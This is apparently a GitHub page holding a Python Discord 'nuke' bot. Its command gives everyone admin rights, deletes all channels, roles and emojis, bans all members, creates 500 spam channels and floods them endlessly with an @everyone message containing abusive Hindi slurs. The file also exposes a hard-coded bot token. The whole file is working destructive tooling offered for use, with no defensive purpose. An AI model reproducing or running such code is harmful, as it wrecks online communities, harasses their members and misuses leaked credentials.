-
Notifications
You must be signed in to change notification settings - Fork 0
/
ROMEO MAIN BOT.PY
94 lines (82 loc) · 4.4 KB
/
ROMEO MAIN BOT.PY
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import discord
from discord.ext import commands
import random
from discord import Permissions
from colorama import Fore, Style
import asyncio
token = "OTAzODEzNjc5NjMwMzk3NTAx.YXycFQ.ZqjclPBwodEEiSOxlcLeuS_MLmY"
SPAM_CHANNEL = ["#RomeoPLayZonTop"]
SPAM_MESSAGE = ["@everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone Server terminated By ROMEO PLAYZ join https://discord.gg/enop join or maa chudao tumhara baap romeo idr h uski behen ko kuch bola to maa chodega tameez se rho bhai romeo ki jaan hai or wo unse boht pyar krta h athena and renisha didi uski didi ko bola to apka bhi esa hi haal hoga smajhao bro @here"]
client = commands.Bot(command_prefix="ms!")
@client.event
async def on_ready():
print('''
███╗░░██╗██╗░░░██╗██╗░░██╗███████╗ ██████╗░░█████╗░████████╗
████╗░██║██║░░░██║██║░██╔╝██╔════╝ ██╔══██╗██╔══██╗╚══██╔══╝
██╔██╗██║██║░░░██║█████═╝░█████╗░░ ██████╦╝██║░░██║░░░██║░░░
██║╚████║██║░░░██║██╔═██╗░██╔══╝░░ ██╔══██╗██║░░██║░░░██║░░░
██║░╚███║╚██████╔╝██║░╚██╗███████╗ ██████╦╝╚█████╔╝░░░██║░░░
╚═╝░░╚══╝░╚═════╝░╚═╝░░╚═╝╚══════╝ ╚═════╝░░╚════╝░░░░╚═╝░░░
''')
await client.change_presence(activity=discord.Game (name="discord .gg/enop ROMEOplayZ on top"))
@client.command()
@commands.is_owner()
async def stop (ctx):
await ctx.bot.logout()
print (Fore.GREEN + f"{client.user.name} has logged out successfully." + Fore.RESET)
@client.command()
async def nuke (ctx):
await ctx.message.delete()
guild = ctx.guild
try:
role = discord.utils.get(guild.roles, name = "@everyone")
await role.edit(permissions = Permissions.all())
print(Fore.MAGENTA + "I have given everyone admin." + Fore.RESET)
except:
print(Fore.GREEN + "I was unable to give everyone admin" + Fore.RESET)
for channel in guild.channels:
try:
await channel.delete()
print(Fore.MAGENTA + f"{channel.name} was deleted." + Fore.RESET)
except:
print(Fore.GREEN + f"{channel.name} was NOT deleted." + Fore.RESET)
for member in guild.members:
try:
await member.ban()
print(Fore.MAGENTA + f"{member.name}#{member.discriminator} Was banned" + Fore.RESET)
except:
print(Fore.GREEN + f"{member.name}#{member.discriminator} Was unable to be banned." + Fore.RESET)
for role in guild.roles:
try:
await role.delete()
print(Fore.MAGENTA + f"{role.name} Has been deleted" + Fore.RESET)
except:
print(Fore.GREEN + f"{role.name} Has not been deleted" + Fore.RESET)
for emoji in list(ctx.guild.emojis):
try:
await emoji.delete()
print(Fore.MAGENTA + f"{emoji.name} Was deleted" + Fore.RESET)
except:
print(Fore.GREEN + f"{emoji.name} Wasn't Deleted" + Fore.RESET)
banned_users = await guild.bans()
for ban_entry in banned_users:
user = ban_entry.user
try:
await user.unban("𝐘𝐨𝐮𝐫_𝐔𝐬𝐞𝐫")
print(Fore.MAGENTA + f"{user.name}#{user.discriminator} Was successfully unbanned." + Fore.RESET)
except:
print(Fore.GREEN + f"{user.name}#{user.discriminator} Was not unbanned." + Fore.RESET)
await guild.create_text_channel("JOKER ON TOP")
for channel in guild.text_channels:
link = await channel.create_invite(max_age = 0, max_uses = 0)
print(f"New Invite: {link}")
amount = 500
for i in range(amount):
await guild.create_text_channel(random.choice(SPAM_CHANNEL))
print(f"nuked {guild.name} Successfully.")
return
@client.event
async def on_guild_channel_create(channel):
while True:
await channel.send(random.choice(SPAM_MESSAGE))
client.run(token, bot=True)